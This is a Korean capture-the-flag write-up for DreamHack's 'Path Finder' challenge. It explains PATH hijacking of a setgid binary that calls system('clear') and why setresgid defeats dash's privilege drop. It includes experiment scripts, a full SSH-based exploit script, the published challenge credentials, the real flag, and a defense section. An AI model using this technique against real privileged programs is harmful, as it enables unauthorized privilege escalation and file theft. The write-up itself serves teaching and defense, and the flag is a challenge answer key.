문제: DreamHack 워게임 — Path Finder 분류: misc 난이도: 🥈 Silver 2 FLAG:
DH{e47d874ddc629f916d3d5ef6f0d0de90c7b151f9d7010325d051c811382b489f}
문제 설명이 세 줄이다. SSH 주소와 계정(pwn / dhctf11), 그리고 chal 이라는 16KB 짜리 바이너리 하나.
파일을 열어 보면 허무할 정도로 짧다. main 이 하는 일은 함수 호출 세 번이 전부다.
그런데 그 세 줄 중 두 줄이 서로를 받쳐 주고 있어서, 하나만 이해하면 절대 안 풀린다.
file extracted/chal && ls -l extracted/chal && nm -D extracted/chal
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | Path Finder (DreamHack 워게임 id 702) |
| 난이도 | 🥈 Silver 2 |
| 분류 | misc |
| 제공 | chal 바이너리 1개 + SSH 접속 정보 (pwn / dhctf11) |
| 환경 | Ubuntu 22.04, GCC 11.3.0, /bin/sh 는 dash |
| 핵심 취약점 | PATH 하이재킹 (CWE-426 Untrusted Search Path) |
| 같이 봐야 하는 것 | setgid 비트, setresgid, dash 의 권한 강등 |
풀이 흐름은 세 문장이다. chal 은 문제 그룹의 setgid 바이너리이고, 내부에서 system("clear") 를 부른다.
clear 가 절대경로가 아니니 셸이 PATH 를 앞에서부터 훑는다.
그러니 내가 쓸 수 있는 디렉토리에 clear 라는 실행파일을 만들어 PATH 맨 앞에 붙이면,
그 파일이 문제 그룹 권한으로 실행된다.
여기까지는 교과서다. 이 문제가 실버 2인 이유는 그 다음에 있다.
🧩 배경 — 리눅스가 프로세스에 자격을 매다는 법
공격을 설명하려면 gid 세 개를 먼저 구분해야 한다. 리눅스 프로세스는 그룹 자격을 세 벌 들고 다닌다.
| 이름 | 약칭 | 무엇인가 |
|---|---|---|
| real gid | rgid | "원래 누구인가". 로그인한 사용자의 그룹 |
| effective gid | egid | "지금 무슨 권한으로 파일을 만지는가". 권한 검사는 이걸 본다 |
| saved gid | sgid | "잠시 내려놨다가 되찾을 수 있는 것". 임시 강등용 보관함 |
평소엔 셋이 같다. 갈라지는 건 setgid 비트가 달린 실행파일을 돌릴 때다.
커널은 그 파일을 exec 하면서 egid 와 sgid 를 파일 소유 그룹으로 올려 준다. rgid 는 그대로 둔다.
즉 setgid 프로그램 안에서는 rgid != egid 인 상태가 된다.
"원래 나는 pwn 인데, 지금은 문제 그룹 권한을 빌려 쓰는 중"이라는 뜻이고,
이 불일치 자체가 나중에 결정적인 신호가 된다.
ls 에서 setgid 비트는 그룹 자리의 x 가 s 로 바뀌어 보인다.
그룹 실행 권한이 없는데 setgid 만 켜져 있으면 대문자 S 로 나온다 — 이 문제의 flag 파일이 그렇다.
(그 조합은 역사적으로 mandatory locking 표시로 쓰였고 지금은 의미가 없다.
여기서 중요한 건 그 옆의 그룹 읽기 비트다.)
🔬 정찰 — 16KB 안에 뭐가 들어 있나
nm -D 가 뽑아 준 외부 심볼이 넷뿐이다. __libc_start_main, puts, setresgid, system.
런타임 시작 코드를 빼면 이 프로그램이 libc 에서 빌려 쓰는 기능은 셋이다.
main 을 뜯어보면 그 셋이 순서대로 한 번씩 불린다.
읽기 편하게 sed 로 주석을 얹었다. 치환 규칙은 문제 폴더의 annotate_main.sed 에 넣어 뒀다
(따옴표가 셸을 지나며 깨지지 않게 인라인 대신 파일로 둔다).
s/\(call.*<setresgid@plt>\)/\1 <-- r\/e\/s gid 를 전부 1001 로 고정/
s/\(call.*<system@plt>\)/\1 <-- 인자가 절대경로가 아니다 (PATH 탐색)/
s/\(call.*<puts@plt>\)/\1 <-- "Tada~!" 출력, 그게 전부/
s/\(mov *edi,0x3e9\)/\1 <-- 1001 = 문제 그룹의 gid/objdump -d -M intel --no-show-raw-insn extracted/chal | sed -n "/<main>:/,/^$/p" | sed -f annotate_main.sed
0x3e9 은 1001이다. edi, esi, edx 에 같은 값을 넣고 setresgid 를 부르니 인자 셋이 전부 1001.
그 다음 lea rax,[rip+0xe53] 로 .rodata 의 문자열을 집어 system 에 넘긴다.
소스로 되돌리면 이렇게 된다.
int main(void) {
setresgid(1001, 1001, 1001);
system("clear");
puts("Tada~!");
return 0;
}정적 분석만으로 끝내지 않고 실제로 돌려서 확인했다. gdb 배치 스크립트를 문제 폴더에 verify.gdb 로 뒀다.
set confirm off
set pagination off
break main
run
break setresgid
break system
continue
printf "\n[1] setresgid(rgid=%d, egid=%d, sgid=%d)\n", $rdi, $rsi, $rdx
continue
printf "\n[2] system(\"%s\") <- 절대경로가 아니다\n", (char *)$rdi
printf "[3] 인자 문자열이 놓인 주소: %p\n", (char *)$rdi
continue
quitTERM=dumb 을 앞에 붙인 이유가 있다. 이 프로그램은 진짜 clear 를 실행하므로,
그냥 돌리면 터미널이 지워져서 위쪽 출력이 통째로 날아간다. 캡쳐를 찍다가 알았다.
TERM=dumb gdb -q -batch -x verify.gdb ./extracted/chal
__libc_system (line=0x555555556004 "clear"). 인자가 clear 넉 자다.
슬래시가 하나도 없으니 셸은 이걸 경로가 아니라 명령 이름으로 취급하고 PATH 를 뒤진다.
🖥️ 서버는 어떻게 생겼나
바이너리만 봐서는 gid 1001 이 무슨 그룹인지 모른다. 접속해서 확인했다.
sshpass -p dhctf11 ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
-o LogLevel=ERROR -p 12750 pwn@host3.dreamhack.games "id; ls -l /home/pwn; getent group pwned"
배치가 한눈에 들어온다.
| 항목 | 값 | 의미 |
|---|---|---|
| 내 계정 | uid=1000(pwn) gid=1000(pwn) | 그룹 pwned 에 안 들어 있다 |
chal | -rwxr-sr-x root pwned | setgid 비트 — 실행하면 egid 가 pwned 가 된다 |
flag | -rw-r-S--- root pwned, 69바이트 | 소유자 rw, 그룹 r, 나머지 없음 |
getent group pwned | pwned:x:1001 | 바이너리의 0x3e9 이 이 그룹이다 |
flag 가 69바이트라는 것도 미리 힌트를 준다. DH{ 3자 + 16진수 64자 + } 1자 = 68자, 개행 하나를 더하면 69다.
나중에 뽑은 값이 정확히 그 모양이었다.
정리하면 이렇다. 나는 pwned 그룹이 아니라 flag 를 못 읽는다.
그런데 chal 을 실행하는 동안만큼은 내 프로세스의 egid 가 pwned 다.
그 잠깐 사이에 내가 고른 코드를 끼워 넣으면 된다. 끼워 넣을 자리는 system("clear") 이다.
🧱 배경 — system() 은 셸을 부르고, 셸은 PATH 를 훑는다
system("clear") 는 clear 를 직접 실행하지 않는다. /bin/sh -c clear 를 띄운다.
그 셸이 clear 라는 이름을 실제 파일로 바꾸는 일을 맡는다.
이름에 슬래시가 없으면 셸은 PATH 를 콜론으로 쪼개서 앞에서부터 각 디렉토리에 그 이름이 있는지 본다.
찾으면 거기서 멈춘다. 그러니 순서가 전부다.
말로만 하면 믿기 어려우니 strace 로 봤다. 가짜 clear 를 PATH 뒤에 둘 때와 앞에 둘 때를 비교한다.
#!/bin/bash
# repro/exp_path_search.sh
set -eu
HIJACK=/tmp/hijack
mkdir -p "$HIJACK"
printf '#!/bin/sh\nid -g -n\n' > "$HIJACK/clear"
chmod +x "$HIJACK/clear"
TRACE="strace -f -e trace=execve,newfstatat -e signal=none"
echo "== [A] 가짜 clear 가 PATH 뒤쪽일 때 =="
PATH=/usr/local/bin:/usr/bin:/bin:$HIJACK $TRACE /home/path_finder/chal 2>&1 | grep clear
echo
echo "== [B] 가짜 clear 가 PATH 맨 앞일 때 =="
PATH=$HIJACK:/usr/local/bin:/usr/bin:/bin $TRACE /home/path_finder/chal 2>&1 | grep cleardocker run --rm --cap-add=SYS_PTRACE -v "$PWD/repro:/exp" pathfinder-tools bash /exp/exp_path_search.sh
[A] 를 보면 dash 가 /usr/local/bin/clear 를 먼저 newfstatat 으로 두드렸다가 ENOENT 를 받고,
그 다음 /usr/bin/clear 를 찾아서 execve 한다. 순서대로 훑는 게 그대로 보인다.
[B] 는 첫 후보가 /tmp/hijack/clear 라 두드리자마자 걸린다. /usr/bin/clear 는 쳐다보지도 않는다.
여기서 한 가지가 눈에 띈다. chal 은 setgid 바이너리인데 PATH 를 그대로 물려받았다.
동적 로더는 setuid/setgid 실행을 감지하면 LD_PRELOAD·LD_LIBRARY_PATH 같은 변수를 무시한다.
하지만 PATH 는 로더가 관여하는 변수가 아니다. 그건 프로그램이 알아서 할 일이다.
그리고 이 프로그램은 알아서 하지 않았다.
🧪 로컬에 판을 다시 깔기
라이브 서버에 바로 붙어서 이것저것 찔러 보는 건 좋은 습관이 아니다.
main 을 정확히 복원했으니 같은 환경을 로컬에 만들어 놓고 거기서 결론을 낸 다음, 확인만 원격에서 하기로 했다.
배포 바이너리가 GCC 11.3.0 (Ubuntu 22.04) 산출물이라 베이스 이미지를 맞췄다. 그룹·소유자·퍼미션도 원격에서 본 그대로 재현한다. 실험용 바이너리 셋(뒤에서 쓴다)도 같이 넣었다.
# repro/Dockerfile.full — 이 파일 하나로 실험 환경이 전부 만들어진다.
# docker build -f repro/Dockerfile.full -t pathfinder repro/
FROM ubuntu:22.04
RUN apt-get update && \
apt-get install -y --no-install-recommends gcc libc6-dev ncurses-bin strace gdb && \
rm -rf /var/lib/apt/lists/*
# 원격과 같은 배치: 로그인 계정 pwn(1000), flag 소유 그룹 path_finder(1001)
# (실제 서버의 그룹명은 pwned 지만, 중요한 건 이름이 아니라 gid 1001 이다)
RUN groupadd -g 1000 pwn && useradd -u 1000 -g 1000 -m -s /bin/bash pwn && \
groupadd -g 1001 path_finder && \
mkdir -p /home/path_finder
COPY chal.c chal_nosetresgid.c egid_probe.c execl_probe.c /tmp/
RUN cd /tmp && \
gcc -o /home/path_finder/chal chal.c && \
gcc -o /home/path_finder/chal_nosetresgid chal_nosetresgid.c && \
gcc -o /home/path_finder/egid_probe egid_probe.c && \
gcc -o /home/path_finder/execl_probe execl_probe.c && \
rm -f /tmp/*.c
# flag 는 root:path_finder 소유에 그룹 읽기만 — pwn 계정으로는 못 읽는다.
# 네 바이너리 모두 setgid 비트를 똑같이 달아 둔다(2755). 다른 건 소스뿐이다.
RUN echo 'DH{LOCAL_REPRO_NOT_THE_REAL_FLAG}' > /home/path_finder/flag && \
chown root:path_finder /home/path_finder/flag && chmod 040 /home/path_finder/flag && \
chown root:path_finder /home/path_finder/chal /home/path_finder/chal_nosetresgid \
/home/path_finder/egid_probe /home/path_finder/execl_probe && \
chmod 2755 /home/path_finder/chal /home/path_finder/chal_nosetresgid \
/home/path_finder/egid_probe /home/path_finder/execl_probe
WORKDIR /home/pwn
USER pwn
CMD ["/bin/bash"]재현 환경이 진짜인지부터 확인했다. 내가 복원한 chal.c 를 컴파일한 결과가
배포된 바이너리와 같은 코드를 만드는지 diff 로 본다.
#!/bin/bash
# repro/exp_verify_rebuild.sh
set -u
DIST=/work/extracted/chal
MINE=/home/path_finder/chal
echo "== 크기 =="
stat -c '%s %n' "$DIST" "$MINE"
echo
echo "== gcc 버전 =="
gcc --version | head -1
echo
echo "== main 디스어셈블리 차이 =="
cut() { objdump -d -M intel --no-show-raw-insn "$1" | sed -n '/<main>:/,/^$/p'; }
if diff <(cut "$DIST") <(cut "$MINE"); then
echo "차이 없음 — 복원한 소스가 배포본과 같은 코드를 만든다"
fidocker run --rm -v "$PWD/repro:/exp" -v "$PWD:/work:ro" pathfinder-tools bash /exp/exp_verify_rebuild.sh
크기가 16048바이트로 같고 main 디스어셈블리도 완전히 일치한다. 여기서 얻은 결론은 원격에도 그대로 적용된다.
기준선을 찍어 둔다. 지금 상태로는 flag 를 못 읽고, chal 은 그냥 Tada~! 만 뱉는다.
#!/bin/bash
# repro/exp_baseline.sh
echo "== 내가 누구인가 =="
id
echo
echo "== 문제 파일 권한 =="
ls -l /home/path_finder
echo
echo "== flag 를 그냥 읽어 보면 =="
cat /home/path_finder/flag
echo
echo "== chal 을 그냥 실행하면 =="
/home/path_finder/chaldocker run --rm -v "$PWD/repro:/exp" pathfinder-tools bash /exp/exp_baseline.sh
이제 가짜 clear 를 심는다. 하는 일은 네 줄이다.
쓸 수 있는 디렉토리를 잡고, 거기에 clear 라는 셸 스크립트를 쓰고, 실행 권한을 주고, PATH 맨 앞에 붙여 chal 을 돌린다.
#!/bin/bash
# repro/exp_hijack.sh
set -eu
HIJACK=/tmp/hijack
mkdir -p "$HIJACK"
printf '#!/bin/sh\nid\ncat /home/path_finder/flag\n' > "$HIJACK/clear"
chmod +x "$HIJACK/clear"
echo "== 심어 둔 가짜 clear =="
ls -l "$HIJACK/clear"
cat "$HIJACK/clear"
echo
echo "== PATH 맨 앞에 붙여 chal 실행 =="
PATH="$HIJACK:$PATH" /home/path_finder/chaldocker run --rm -v "$PWD/repro:/exp" pathfinder-tools bash /exp/exp_hijack.sh
gid=1001(path_finder) 로 바뀐 채 더미 flag 가 나왔다. 공격은 성립한다.
그런데 여기서 한 가지가 걸린다. 출력을 다시 보면 gid 가 1001이다. egid 가 아니라 gid 다.
setgid 비트는 egid 만 올려 준다고 했는데, 어째서 rgid 까지 1001이 됐을까.
답은 main 첫 줄에 있다.
💣 핵심 — setresgid 한 줄이 왜 거기 있나
setresgid(1001, 1001, 1001) 를 처음 봤을 때는 장식처럼 보였다.
어차피 setgid 비트로 egid 가 1001인데 굳이 셋을 다 1001로 맞출 이유가 뭔가.
그래서 그 한 줄만 뺀 바이너리를 만들어 비교했다. setgid 비트를 포함해 나머지는 전부 동일하다.
// repro/chal_nosetresgid.c — 원본에서 setresgid 한 줄만 뺀 것
#include <stdio.h>
#include <stdlib.h>
int main(void) {
system("clear");
puts("Tada~!");
return 0;
}#!/bin/bash
# repro/exp_contrast.sh
set -eu
HIJACK=/tmp/hijack
mkdir -p "$HIJACK"
printf '#!/bin/sh\nid\ncat /home/path_finder/flag\n' > "$HIJACK/clear"
chmod +x "$HIJACK/clear"
echo "== 두 바이너리의 권한은 동일 =="
ls -l /home/path_finder/chal /home/path_finder/chal_nosetresgid
echo
echo "== [A] setresgid 있는 원본 =="
PATH="$HIJACK:$PATH" /home/path_finder/chal
echo
echo "== [B] setresgid 만 뺀 것 =="
PATH="$HIJACK:$PATH" /home/path_finder/chal_nosetresgiddocker run --rm -v "$PWD/repro:/exp" pathfinder-tools bash /exp/exp_contrast.sh
두 파일의 퍼미션은 글자 하나까지 같다. 그런데 결과가 갈린다.
- [A]
gid=1001(path_finder)→ flag 읽힘 - [B]
gid=1000(pwn)→Permission denied
[B] 에서 권한이 사라졌다. 누가 떨어뜨렸을까. 커널일까, 셸일까.
범인을 특정하기
setgid 비트만 달고 setresgid 는 부르지 않는 프로브를 하나 만들었다.
프로세스 안에서 본 gid 와, system() 이 띄운 셸 안에서 본 gid 를 나란히 찍는다.
// repro/egid_probe.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void) {
printf("[프로세스 안] getgid()=%d getegid()=%d\n", getgid(), getegid());
fflush(stdout);
printf("[system() 안] ");
fflush(stdout);
system("id -g -n; grep ^Gid /proc/self/status");
return 0;
}#!/bin/bash
# repro/exp_egid_probe.sh
echo "== /bin/sh 의 정체 =="
ls -l /bin/sh
echo
echo "== egid_probe 권한 (setresgid 호출은 없다) =="
ls -l /home/path_finder/egid_probe
echo
/home/path_finder/egid_probedocker run --rm -v "$PWD/repro:/exp" pathfinder-tools bash /exp/exp_egid_probe.sh
선명하다.
- 프로세스 안:
getgid()=1000 getegid()=1001→ 커널은 제대로 올려 줬다 system()안:Gid: 1000 1000 1000 1000→ 여기서 전부 1000이 됐다
즉 커널은 자기 할 일을 했고, system() 과 그 안의 셸 사이 어딘가에서 권한이 사라진다.
셸을 빼면 어떻게 되나
system() 대신 execl() 로 다른 프로그램을 직접 부르는 프로브를 하나 더 만들었다.
조건은 같다 — setgid 비트만 있고 setresgid 는 없다. 차이는 셸이 끼느냐 아니냐 하나뿐이다.
// repro/execl_probe.c
#include <stdio.h>
#include <unistd.h>
int main(void) {
printf("[프로세스 안] getgid()=%d getegid()=%d\n", getgid(), getegid());
fflush(stdout);
printf("[execl 로 직접] ");
fflush(stdout);
execl("/usr/bin/id", "id", (char *)NULL); // ELF 실행파일 — 셸이 끼지 않는다
perror("execl");
return 1;
}#!/bin/bash
# repro/exp_shell_or_kernel.sh
echo "== 두 프로브의 권한은 동일 (setresgid 는 둘 다 호출하지 않는다) =="
ls -l /home/path_finder/egid_probe /home/path_finder/execl_probe
echo
echo "== [1] system() — /bin/sh 를 거친다 =="
/home/path_finder/egid_probe
echo
echo "== [2] execl() — 셸을 거치지 않고 /usr/bin/id 로 직행 =="
/home/path_finder/execl_probedocker run --rm -v "$PWD/repro:/exp" pathfinder-final bash /exp/exp_shell_or_kernel.sh
execl() 로 넘어간 id 는 egid=1001(path_finder) 를 그대로 들고 있다.
같은 조건에서 셸만 빼면 권한이 살아남는다. 범인은 셸이다.
dash 는 그게 정상이라고 문서에 적어 놨다
Ubuntu 에서 /bin/sh 는 dash 다. 그 man 페이지의 -p 옵션 설명이 이 동작을 그대로 기술한다.
zcat /usr/share/man/man1/dash.1.gz | sed -n "260,263p"
Do not attempt to reset effective uid if it does not match uid. This is not set by default to help avoid incorrect usage by setuid root programs via
system(3)orpopen(3).
-p 를 켜야 "리셋하지 않는다"는 뜻이니, 기본값은 리셋한다는 말이다.
그리고 그 이유로 system(3) 을 대놓고 지목한다.
dash 는 시작할 때 egid != rgid 를 보고 "이건 빌려온 권한이다"라고 판단해 스스로 내려놓는다.
setuid/setgid 프로그램이 셸을 부르는 게 워낙 흔한 실수라 셸 쪽에서 미리 막아 둔 것이다.
그래서 setresgid 가 필요하다
방어의 판단 기준은 egid != rgid 다. 그러면 그 조건을 지워 버리면 된다.
setresgid(1001, 1001, 1001) 는 rgid 까지 1001로 끌어올린다.
이제 셋이 전부 같으니 dash 가 보기엔 "빌려온 권한"이 아니라 "원래 이 사람 권한"이다. 강등 코드가 아예 돌지 않는다.
부수 효과가 하나 더 있다. sgid 도 1001이라 원래 gid 로 되돌아갈 길이 사라진다.
권한이 임시가 아니라 영구가 된다.

출제자가 setresgid 를 넣은 건 실수가 아니라 문제를 풀리게 만들기 위한 장치다.
그게 없으면 PATH 하이재킹이 성립해도 얻는 게 없다.
🐛 삽질
▶🕳️ 삽질 1 — 실패인데 실패로 안 보이는 세 가지
이 문제의 함정은 전부 "틀렸는데 화면이 정상"이라는 공통점을 갖는다.
chal 은 무슨 일이 있어도 Tada~! 를 찍고 0으로 끝나기 때문에, 출력만 보면 성공과 실패가 구분되지 않는다.
실제로 겪었거나 겪기 쉬운 것 셋을 한 스크립트로 재현했다.
#!/bin/bash
# repro/exp_traps.sh
HIJACK=/tmp/trap
mkdir -p "$HIJACK"
printf '#!/bin/sh\ncat /home/path_finder/flag\n' > "$HIJACK/clear"
echo "== [함정1] chmod +x 를 빼먹었다 =="
ls -l "$HIJACK/clear"
PATH="$HIJACK:$PATH" /home/path_finder/chal
echo
echo "== [함정2] PATH 를 통째로 갈아치웠다 =="
chmod +x "$HIJACK/clear"
PATH="$HIJACK" /home/path_finder/chal
echo
echo "== [함정3] 현재 디렉토리에 두고 PATH 는 그대로 뒀다 =="
cp "$HIJACK/clear" /home/pwn/clear
cd /home/pwn && ls -l clear && /home/path_finder/chaldocker run --rm -v "$PWD/repro:/exp" pathfinder-tools bash /exp/exp_traps.sh
함정 1 — chmod +x 누락. 셸은 PATH 후보를 훑을 때 실행 가능한지도 본다.
실행 비트가 없으면 그 파일을 그냥 건너뛰고 다음 디렉토리로 간다.
그래서 진짜 /usr/bin/clear 가 대신 돌고 Tada~! 만 뜬다.
"내 파일이 안 불렸다"는 신호가 어디에도 없다. 파일이 없어서 실패한 것과 화면이 똑같다.
함정 2 — PATH 를 통째로 갈아치우기. PATH=/tmp/trap 처럼 기존 값을 날리면
가짜 clear 는 제대로 불리는데, 그 안의 cat 을 못 찾는다.
/tmp/trap/clear: 2: cat: not found 가 뜬다. 반드시 $PATH 를 뒤에 이어 붙이거나, 안에서 절대경로를 쓴다.
함정 3 — 현재 디렉토리에 두기. 요즘 배포판의 기본 PATH 에는 . 이 없다.
clear 를 홈에 만들어 두고 거기서 실행해도 아무 일도 안 일어난다.
PATH 를 직접 손대지 않으면 이 공격은 시작조차 안 된다.
▶🕳️ 삽질 2 — 셸을 안 거치는 프로브를 만들었는데 셸이 끼어 있었다
"권한을 떨군 게 셸이다"를 증명하려고 execl() 프로브를 만들 때 처음엔 이렇게 썼다.
execl("/tmp/hijack/clear", "clear", (char *)NULL);가짜 clear 를 직접 exec 하니 셸을 안 거친다고 생각했다. 결과는 이랬다.
== [2] execl() — 셸을 거치지 않는다 ==
[프로세스 안] getgid()=1000 getegid()=1001
[execl 로 직접] Gid: 1000 1000 1000 1000system() 으로 부른 것과 결과가 똑같다. 잠깐 "그럼 커널이 범인인가" 싶었는데 아니었다.
그 가짜 clear 는 #!/bin/sh 로 시작하는 셸 스크립트다.
커널은 shebang 을 보고 결국 /bin/sh 를 띄운다. 셸을 피한 게 아니라 한 겹 감춘 것뿐이었다.
대상을 ELF 실행파일(/usr/bin/id)로 바꾸니 그제야 egid=1001 이 살아남았다.
"셸을 거치지 않는다"고 말하려면 exec 대상이 스크립트가 아니어야 한다.
▶🕳️ 삽질 3 — 캡쳐를 찍는데 화면이 계속 지워졌다
gdb 실행 화면을 캡쳐했더니 마지막 세 줄만 남았다.
브레이크포인트 출력도, 내가 찍은 [1] setresgid(...) 도 전부 사라져 있었다.
원인은 문제 그 자체였다. chal 이 system("clear") 를 부르고, 그 clear 가 진짜로 터미널을 지운다.
gdb 가 자식 프로세스를 끝까지 돌리니 화면이 통째로 날아간 것이다.
TERM=dumb 을 앞에 붙여 해결했다. clear 는 TERM 을 보고 화면 지우는 시퀀스를 고르는데,
dumb 에는 그런 게 없어서 TERM environment variable not set. 비슷한 불평만 하고 아무것도 못 지운다.
도커로 돌린 실험들은 이 문제가 없었다. docker run 에 -t 를 안 줘서 컨테이너 안 TERM 이 비어 있기 때문이다.
같은 이유로 앞의 캡쳐들에 TERM environment variable not set. 이 섞여 있다.
🚀 Full Exploit
로컬에서 확인이 끝났으니 원격은 확인만 하면 된다. 스크립트 하나로 끝난다.
#!/bin/sh
# Path Finder (DreamHack, Silver 2, misc) — 자체 완결 익스플로잇
#
# 취약점: chal 이 setresgid(1001,1001,1001) 로 실/유효/저장 gid 를 전부 pwned 그룹에 맞춘 뒤
# system("clear") 를 부른다. "clear" 는 절대경로가 아니라 PATH 탐색 대상이고,
# gid 셋이 일치하니 /bin/sh(dash) 의 권한 강등 방어도 걸리지 않는다.
# 공격 : 쓰기 가능한 디렉토리에 실행 가능한 가짜 clear 를 심고 PATH 맨 앞에 붙여 chal 을 실행.
# 가짜 clear 가 gid=pwned 로 돌아 flag 를 읽는다.
#
# 사용법: ./solve.sh <host> <port> (예: ./solve.sh host3.dreamhack.games 12750)
# 드림핵 SSH 계정은 문제 설명에 공개된 pwn / dhctf11 이다.
set -eu
HOST="${1:?usage: $0 <host> <port>}"
PORT="${2:?usage: $0 <host> <port>}"
USER_NAME=pwn
PASSWORD=dhctf11
SSH_OPTS="-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR"
# 원격에서 실행할 페이로드. 여기서 하는 일은 딱 네 줄이다.
PAYLOAD='
set -eu
HIJACK=$(mktemp -d /tmp/pf.XXXXXX) # 1) 내가 쓸 수 있는 디렉토리
printf "#!/bin/sh\nid\ncat /home/pwn/flag\n" > "$HIJACK/clear" # 2) 가짜 clear
chmod +x "$HIJACK/clear" # 3) 실행 권한 (없으면 PATH 탐색이 그냥 지나친다)
PATH="$HIJACK:$PATH" /home/pwn/chal # 4) PATH 맨 앞에 붙여 실행
rm -rf "$HIJACK"
'
sshpass -p "$PASSWORD" ssh $SSH_OPTS -p "$PORT" "$USER_NAME@$HOST" "$PAYLOAD"mktemp -d 를 쓴 이유는 두 가지다. 남이 미리 만들어 둔 디렉토리를 밟지 않고,
같은 서버에서 여러 번 돌려도 앞 실행의 잔재에 속지 않기 위해서다.
/tmp/hijack 처럼 고정 이름을 쓰면 이전 실행의 파일이 남아 "이번에도 성공했다"고 착각하기 쉽다.
./solve.sh host3.dreamhack.games 12750
uid=1000(pwn) gid=1001(pwned) groups=1001(pwned),1000(pwn)
DH{e47d874ddc629f916d3d5ef6f0d0de90c7b151f9d7010325d051c811382b489f}
Tada~!gid=1001(pwned) 로 바뀐 채 flag 가 나왔다.
마지막 Tada~! 는 우리 스크립트가 끝난 뒤 chal 이 원래 하려던 일을 마저 한 것이다.
system() 은 자식이 뭘 했는지 신경 쓰지 않고 그냥 돌아온다.
FLAG:
DH{e47d874ddc629f916d3d5ef6f0d0de90c7b151f9d7010325d051c811382b489f}
🛡️ 방어 — 어디를 고쳐야 하나
절대경로를 쓴다.
가장 직접적인 수정이다. system("clear") 를 system("/usr/bin/clear") 로 바꾸면 PATH 탐색이 일어나지 않는다.
권한 있는 프로세스가 외부 프로그램을 부를 땐 이름이 아니라 경로로 부르는 게 기본이다.
셸을 아예 부르지 않는다.
절대경로를 써도 system() 은 여전히 /bin/sh -c 를 띄운다.
셸이 끼면 IFS 같은 다른 환경변수도 판단에 끼어들고, 인자에 메타문자가 섞이면 명령 주입으로 번진다.
fork 후 execve("/usr/bin/clear", argv, envp) 로 직접 부르면 그 층이 통째로 사라진다.
dash man 페이지가 system(3) 과 popen(3) 을 콕 집어 언급한 것도 같은 맥락이다.
환경변수를 신뢰하지 않는다.
동적 로더는 setuid/setgid 실행을 감지하면 LD_PRELOAD 류를 무시한다.
하지만 그건 로더가 자기 몫을 방어하는 것이고, PATH·IFS·TMPDIR 은 여전히 공격자 손에 있다.
glibc 의 secure_getenv() 는 이런 상황에서 NULL 을 돌려주도록 만들어진 함수다.
권한 있는 코드가 환경변수를 읽어야 한다면 getenv() 대신 이쪽을 쓰거나, 아예 PATH 를 안전한 값으로 다시 세팅한다.
권한은 필요한 순간에만 올린다.
이 문제의 setresgid(1001, 1001, 1001) 는 정반대를 한다.
sgid 까지 1001로 덮어써서 원래 gid 로 돌아갈 길을 없앤 뒤 셸을 부른다.
실제 코드라면 flag 를 읽는 그 순간에만 egid 를 올리고 바로 setegid(getgid()) 로 내려놔야 한다.
권한 구간이 짧을수록 그 안에서 남의 코드가 실행될 여지가 줄어든다.
그런 파일에 setgid 를 달지 않는다.
애초에 사용자가 실행하는 프로그램에 그룹 권한을 얹어야 하는지부터 따져 볼 일이다. 읽기 전용 데이터를 보여 주는 게 목적이라면 별도 데몬에 물어보게 하거나 파일 권한을 조정하는 편이 낫다.
📝 결론
main 이 세 줄인데 두 줄이 한 쌍이었다.
system("clear") 만 보면 PATH 하이재킹이 바로 떠오른다. 실제로 그게 답이다.
하지만 그것만 알고 있으면 왜 성립하는지는 설명하지 못한다.
setgid 비트만 달린 바이너리에 같은 공격을 하면 dash 가 시작하면서 권한을 내려놓아 아무것도 못 얻는다.
바로 앞줄의 setresgid 가 그 판단 기준(egid != rgid)을 지워 주기 때문에 공격이 값을 갖는다.
막힌 곳에서 배운 게 더 많았다.
"셸이 떨어뜨린 것 같다"는 추측을 확정하려고 execl 프로브를 만들었는데,
exec 대상이 #!/bin/sh 스크립트라 셸이 도로 끼어들었다. 결과만 보고 "커널이 범인"이라고 결론 낼 뻔했다.
대상을 ELF 로 바꾸고 나서야 egid 가 살아남는 걸 봤다. 변인 하나를 제대로 통제하는 게 생각보다 어렵다.
실패가 조용한 문제였다.
chal 은 무슨 일이 있어도 Tada~! 를 찍고 0으로 끝난다.
실행 권한을 안 줘도, PATH 를 잘못 써도 화면은 똑같다.
이런 문제일수록 "성공했을 때 보일 것"을 미리 정해 두고(여기서는 id 한 줄) 그게 나오는지로 판단해야 한다.
가짜 clear 안에 cat 만 넣지 않고 id 를 같이 넣은 건 그래서였다.
환경변수는 입력이다.
PATH 는 설정처럼 보이지만 공격자가 고를 수 있는 값이다.
권한 경계를 넘는 코드에서는 인자·파일 내용과 똑같이 취급해야 한다.
CWE 가 이걸 별도 항목(CWE-426 Untrusted Search Path)으로 두고 있는 이유이기도 하다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…